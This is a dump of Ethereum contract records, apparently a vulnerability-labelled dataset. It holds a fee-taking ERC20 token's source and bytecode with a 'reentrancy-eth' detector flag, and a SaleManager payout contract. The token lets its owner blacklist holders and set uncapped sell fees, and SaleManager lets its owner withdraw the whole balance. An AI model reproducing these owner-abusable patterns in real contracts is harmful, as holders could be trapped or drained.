_redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051c578063dd62ed3e1461053c578063ea1644d514610582578063f2fde38b146105a257600080fd5b8063a2a957bb14610497578063a9059cbb146104b7578063bfd79284146104d7578063c3c8cd801461050757600080fd5b80638f70ccf7116100d15780638f70ccf7146104145780638f9a55c01461043457806395d89b411461044a57806398a5c3151461047757600080fd5b806374010ece146103c05780637d1db4a5146103e05780638da5cb5b146103f657600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103565780636fc3eaec1461037657806370a082311461038b578063715018a6146103ab57600080fd5b8063313ce567146102fa57806349bd5a5e146103165780636b9990531461033657600080fd5b80631694505e116101a05780631694505e1461026857806318160ddd146102a057806323b872dd146102c45780632fd689e3146102e457600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023857600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab8565b6105c2565b005b3480156101ff57600080fd5b5060408051808201909152600a815269506f69736f6e20496e7560b01b60208201525b60405161022f9190611bea565b60405180910390f35b34801561024457600080fd5b50610258610253366004611a08565b610661565b604051901515815260200161022f565b34801561027457600080fd5b50601454610288906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b3480156102ac57600080fd5b50662386f26fc100005b60405190815260200161022f565b3480156102d057600080fd5b506102586102df3660046119c7565b610678565b3480156102f057600080fd5b506102b660185481565b34801561030657600080fd5b506040516009815260200161022f565b34801561032257600080fd5b50601554610288906001600160a01b031681565b34801561034257600080fd5b506101f1610351366004611954565b6106e1565b34801561036257600080fd5b506101f1610371366004611b84565b61072c565b34801561038257600080fd5b506101f1610774565b34801561039757600080fd5b506102b66103a6366004611954565b6107bf565b3480156103b757600080fd5b506101f16107e1565b3480156103cc57600080fd5b506101f16103db366004611b9f565b610855565b3480156103ec57600080fd5b506102b660165481565b34801561040257600080fd5b506000546001600160a01b0316610288565b34801561042057600080fd5b506101f161042f366004611b84565b610884565b34801561044057600080fd5b506102b660175481565b34801561045657600080fd5b5060408051808201909152600481526350494e5560e01b6020820152610222565b34801561048357600080fd5b506101f1610492366004611b9f565b6108cc565b3480156104a357600080fd5b506101f16104b2366004611bb8565b6108fb565b3480156104c357600080fd5b506102586104d2366004611a08565b610939565b3480156104e357600080fd5b506102586104f2366004611954565b60106020526000908152604090205460ff1681565b34801561051357600080fd5b506101f1610946565b34801561052857600080fd5b506101f1610537366004611a34565b61099a565b34801561054857600080fd5b506102b661055736600461198e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058e57600080fd5b506101f161059d366004611b9f565b610a3b565b3480156105ae57600080fd5b506101f16105bd366004611954565b610a6a565b6000546001600160a01b031633146105f55760405162461bcd60e51b81526004016105ec90611c3f565b60405180910390fd5b60005b815181101561065d5760016010600084848151811061061957610619611d86565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065581611d55565b9150506105f8565b5050565b600061066e338484610b54565b5060015b92915050565b6000610685848484610c78565b6106d784336106d285604051806060016040528060288152602001611dc8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b4565b610b54565b5060019392505050565b6000546001600160a01b0316331461070b5760405162461bcd60e51b81526004016105ec90611c3f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107565760405162461bcd60e51b81526004016105ec90611c3f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107a957506013546001600160a01b0316336001600160a01b0316145b6107b257600080fd5b476107bc816111ee565b50565b6001600160a01b03811660009081526002602052604081205461067290611273565b6000546001600160a01b0316331461080b5760405162461bcd60e51b81526004016105ec90611c3f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087f5760405162461bcd60e51b81526004016105ec90611c3f565b601655565b6000546001600160a01b031633146108ae5760405162461bcd60e51b81526004016105ec90611c3f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f65760405162461bcd60e51b81526004016105ec90611c3f565b601855565b6000546001600160a01b031633146109255760405162461bcd60e51b81526004016105ec90611c3f565b600893909355600a91909155600955600b55565b600061066e338484610c78565b6012546001600160a01b0316336001600160a01b0316148061097b57506013546001600160a01b0316336001600160a01b0316145b61098457600080fd5b600061098f306107bf565b90506107bc816112f7565b6000546001600160a01b031633146109c45760405162461bcd60e51b81526004016105ec90611c3f565b60005b82811015610a355781600560008686858181106109e6576109e6611d86565b90506020020160208101906109fb9190611954565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2d81611d55565b9150506109c7565b50505050565b6000546001600160a01b03163314610a655760405162461bcd60e51b81526004016105ec90611c3f565b601755565b6000546001600160a01b03163314610a945760405162461bcd60e51b81526004016105ec90611c3f565b6001600160a01b038116610af95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ec565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ec565b6001600160a01b038216610c175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ec565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ec565b6001600160a01b038216610d3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ec565b60008111610da05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ec565b6000546001600160a01b03848116911614801590610dcc57506000546001600160a01b03838116911614155b156110ad57601554600160a01b900460ff16610e65576000546001600160a01b03848116911614610e655760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ec565b601654811115610eb75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ec565b6001600160a01b03831660009081526010602052604090205460ff16158015610ef957506001600160a01b03821660009081526010602052604090205460ff16155b610f515760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ec565b6015546001600160a01b03838116911614610fd65760175481610f73846107bf565b610f7d9190611ce5565b10610fd65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ec565b6000610fe1306107bf565b601854601654919250821015908210610ffa5760165491505b8080156110115750601554600160a81b900460ff16155b801561102b57506015546001600160a01b03868116911614155b80156110405750601554600160b01b900460ff165b801561106557506001600160a01b03851660009081526005602052604090205460ff16155b801561108a57506001600160a01b03841660009081526005602052604090205460ff16155b156110aa57611098826112f7565b4780156110a8576110a8476111ee565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ef57506001600160a01b03831660009081526005602052604090205460ff165b8061112157506015546001600160a01b0385811691161480159061112157506015546001600160a01b03848116911614155b1561112e575060006111a8565b6015546001600160a01b03858116911614801561115957506014546001600160a01b03848116911614155b1561116b57600854600c55600954600d555b6015546001600160a01b03848116911614801561119657506014546001600160a01b03858116911614155b156111a857600a54600c55600b54600d555b610a3584848484611480565b600081848411156111d85760405162461bcd60e51b81526004016105ec9190611bea565b5060006111e58486611d3e565b95945050505050565b6012546001600160a01b03166108fc6112088360026114ae565b6040518115909202916000818181858888f19350505050158015611230573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124b8360026114ae565b6040518115909202916000818181858888f1935050505015801561065d573d6000803e3d6000fd5b60006006548211156112da5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ec565b60006112e46114f0565b90506112f083826114ae565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133f5761133f611d86565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139357600080fd5b505afa1580156113a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cb9190611971565b816001815181106113de576113de611d86565b6001600160a01b0392831660209182029290920101526014546114049130911684610b54565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143d908590600090869030904290600401611c74565b600060405180830381600087803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148d5761148d611513565b611498848484611541565b80610a3557610a35600e54600c55600f54600d55565b60006112f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611638565b60008060006114fd611666565b909250905061150c82826114ae565b9250505090565b600c541580156115235750600d54155b1561152a57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611553876116a4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115859087611701565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b49086611743565b6001600160a01b0389166000908152600260205260409020556115d6816117a2565b6115e084836117ec565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162591815260200190565b60405180910390a3505050505050505050565b600081836116595760405162461bcd60e51b81526004016105ec9190611bea565b5060006111e58486611cfd565b6006546000908190662386f26fc1000061168082826114ae565b82101561169b57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c18a600c54600d54611810565b92509250925060006116d16114f0565b905060008060006116e48e878787611865565b919e509c509a509598509396509194505050505091939550919395565b60006112f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b4565b6000806117508385611ce5565b9050838110156112f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ec565b60006117ac6114f0565b905060006117ba83836118b5565b306000908152600260205260409020549091506117d79082611743565b30600090815260026020526040902055505050565b6006546117f99083611701565b6006556007546118099082611743565b6007555050565b600080808061182a606461182489896118b5565b906114ae565b9050600061183d60646118248a896118b5565b905060006118558261184f8b86611701565b90611701565b9992985090965090945050505050565b600080808061187488866118b5565b9050600061188288876118b5565b9050600061189088886118b5565b905060006118a28261184f8686611701565b939b939a50919850919650505050505050565b6000826118c457506000610672565b60006118d08385611d1f565b9050826118dd8583611cfd565b146112f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ec565b803561193f81611db2565b919050565b8035801515811461193f57600080fd5b60006020828403121561196657600080fd5b81356112f081611db2565b60006020828403121561198357600080fd5b81516112f081611db2565b600080604083850312156119a157600080fd5b82356119ac81611db2565b915060208301356119bc81611db2565b809150509250929050565b6000806000606084860312156119dc57600080fd5b83356119e781611db2565b925060208401356119f781611db2565b929592945050506040919091013590565b60008060408385031215611a1b57600080fd5b8235611a2681611db2565b946020939093013593505050565b600080600060408486031215611a4957600080fd5b833567ffffffffffffffff80821115611a6157600080fd5b818601915086601f830112611a7557600080fd5b813581811115611a8457600080fd5b8760208260051b8501011115611a9957600080fd5b602092830195509350611aaf9186019050611944565b90509250925092565b60006020808385031215611acb57600080fd5b823567ffffffffffffffff80821115611ae357600080fd5b818501915085601f830112611af757600080fd5b813581811115611b0957611b09611d9c565b8060051b604051601f19603f83011681018181108582111715611b2e57611b2e611d9c565b604052828152858101935084860182860187018a1015611b4d57600080fd5b600095505b83861015611b7757611b6381611934565b855260019590950194938601938601611b52565b5098975050505050505050565b600060208284031215611b9657600080fd5b6112f082611944565b600060208284031215611bb157600080fd5b5035919050565b60008060008060808587031215611bce57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1757858101830151858201604001528201611bfb565b81811115611c29576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc45784516001600160a01b031683529383019391830191600101611c9f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf857611cf8611d70565b500190565b600082611d1a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3957611d39611d70565b500290565b600082821015611d5057611d50611d70565b500390565b6000600019821415611d6957611d69611d70565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220abb195303eb325f4adb3679faa1d97dd58812988d6b6711b52ad44785ebbb9b164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,770
0xa90976f01d81c936ff53c27e52a0607cc71fcfb8
/** *Submitted for verification at Etherscan.io on 2021-11-20 */ // SPDX-License-Identifier: MIT pragma solidity 0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } contract SaleManager { using SafeMath for uint; struct User { bool claimed; uint share; //all addresses shares start as zero } mapping(address => User) public shareLedger; address public owner; address public nft; uint public balance; uint public allocatedShare; bool public claimsStarted; constructor(address _owner, address _nft){ owner = _owner; nft = _nft; } receive() external payable {} /** * @dev biggest point of power for the owner bc they could choose to not call this function, but doing so means they don't get paid * if malicous owner sent 1 eth to contract, then called balance, then claimed their share, then everyones share would be based off 1 Eth instead of actual conctract balance * ^^^^^ mitigated by making the NFT in charge of calling this function when withdraw is called on the NFT **/ function logEther() external {//could maybe have the nft contract call this to remove owner power to not call it? require(msg.sender == nft, 'Only the nft can log ether'); require(!claimsStarted, 'Users have already started claiming Eth from the contract'); balance = address(this).balance; } function resetManager() external { require(msg.sender == owner, 'Only the owner can reset the contract'); require(balance > 0 && address(this).balance == 0, 'Can not reset when users still need to claim'); balance = 0; claimsStarted = false; allocatedShare = 0; //Owner must reallocate share once this function is called } /** * @dev only deploy nft contract once shareLedger is finalized, then set the SalesManager in the nft equal to this address **/ function createUser(address _address, uint _share) external { require(msg.sender == owner, 'Only the owner can create users'); require(_share > 0, 'Share must be greater than zero'); //makes it so that owner can not zero out shares after allocated shares is equal to 100 require(allocatedShare.add(_share) <= 100, 'Total share allocation greater than 100'); shareLedger[_address] = User({ claimed : false, share : _share }); allocatedShare = allocatedShare.add(_share); } function claimEther() external { require(balance > 0, 'Balance has not been set'); require(shareLedger[msg.sender].share > 0, 'Caller has no share to claim'); require(!shareLedger[msg.sender].claimed, 'Caller already claimed Ether'); shareLedger[msg.sender].claimed = true; uint etherOwed = shareLedger[msg.sender].share.mul(balance).div(100); if (etherOwed > address(this).balance) {//safety check for rounding errors etherOwed = address(this).balance; } claimsStarted = true; msg.sender.transfer(etherOwed); } function adminWithdraw() external { require(msg.sender == owner, 'Only the owner can use this function'); msg.sender.transfer(address(this).balance); } }
0x6080604052600436106100a05760003560e01c80638da5cb5b116100645780638da5cb5b1461015957806393dfc8eb1461016e578063a432578e146101a7578063b69ef8a8146101bc578063be8ab370146101d1578063f18d20be1461021f576100a7565b80630315a350146100ac5780633e97414f146100d357806347ccca02146100fc57806355291dbd1461012d57806373705f0f14610144576100a7565b366100a757005b600080fd5b3480156100b857600080fd5b506100c1610234565b60408051918252519081900360200190f35b3480156100df57600080fd5b506100e861023a565b604080519115158252519081900360200190f35b34801561010857600080fd5b50610111610243565b604080516001600160a01b039092168252519081900360200190f35b34801561013957600080fd5b50610142610252565b005b34801561015057600080fd5b506101426103f5565b34801561016557600080fd5b5061011161049c565b34801561017a57600080fd5b506101426004803603604081101561019157600080fd5b506001600160a01b0381351690602001356104ab565b3480156101b357600080fd5b506101426105ff565b3480156101c857600080fd5b506100c16106a9565b3480156101dd57600080fd5b50610204600480360360208110156101f457600080fd5b50356001600160a01b03166106af565b60408051921515835260208301919091528051918290030190f35b34801561022b57600080fd5b506101426106ce565b60045481565b60055460ff1681565b6002546001600160a01b031681565b6000600354116102a9576040805162461bcd60e51b815260206004820152601860248201527f42616c616e636520686173206e6f74206265656e207365740000000000000000604482015290519081900360640190fd5b3360009081526020819052604090206001015461030d576040805162461bcd60e51b815260206004820152601c60248201527f43616c6c657220686173206e6f20736861726520746f20636c61696d00000000604482015290519081900360640190fd5b3360009081526020819052604090205460ff1615610372576040805162461bcd60e51b815260206004820152601c60248201527f43616c6c657220616c726561647920636c61696d656420457468657200000000604482015290519081900360640190fd5b336000908152602081905260408120805460ff1916600190811782556003549101546103aa916064916103a491610746565b906107a8565b9050478111156103b75750475b6005805460ff19166001179055604051339082156108fc029083906000818181858888f193505050501580156103f1573d6000803e3d6000fd5b5050565b6002546001600160a01b03163314610454576040805162461bcd60e51b815260206004820152601a60248201527f4f6e6c7920746865206e66742063616e206c6f67206574686572000000000000604482015290519081900360640190fd5b60055460ff16156104965760405162461bcd60e51b815260040180806020018281038252603981526020018061086a6039913960400191505060405180910390fd5b47600355565b6001546001600160a01b031681565b6001546001600160a01b0316331461050a576040805162461bcd60e51b815260206004820152601f60248201527f4f6e6c7920746865206f776e65722063616e2063726561746520757365727300604482015290519081900360640190fd5b6000811161055f576040805162461bcd60e51b815260206004820152601f60248201527f5368617265206d7573742062652067726561746572207468616e207a65726f00604482015290519081900360640190fd5b60045460649061056f908361080f565b11156105ac5760405162461bcd60e51b81526004018080602001828103825260278152602001806108a36027913960400191505060405180910390fd5b604080518082018252600080825260208083018581526001600160a01b0387168352908290529290209051815460ff191690151517815590516001909101556004546105f8908261080f565b6004555050565b6001546001600160a01b031633146106485760405162461bcd60e51b81526004018080602001828103825260258152602001806109176025913960400191505060405180910390fd5b6000600354118015610658575047155b6106935760405162461bcd60e51b815260040180806020018281038252602c8152602001806108eb602c913960400191505060405180910390fd5b600060038190556005805460ff19169055600455565b60035481565b6000602081905290815260409020805460019091015460ff9091169082565b6001546001600160a01b031633146107175760405162461bcd60e51b815260040180806020018281038252602481526020018061093c6024913960400191505060405180910390fd5b60405133904780156108fc02916000818181858888f19350505050158015610743573d6000803e3d6000fd5b50565b600082610755575060006107a2565b8282028284828161076257fe5b041461079f5760405162461bcd60e51b815260040180806020018281038252602181526020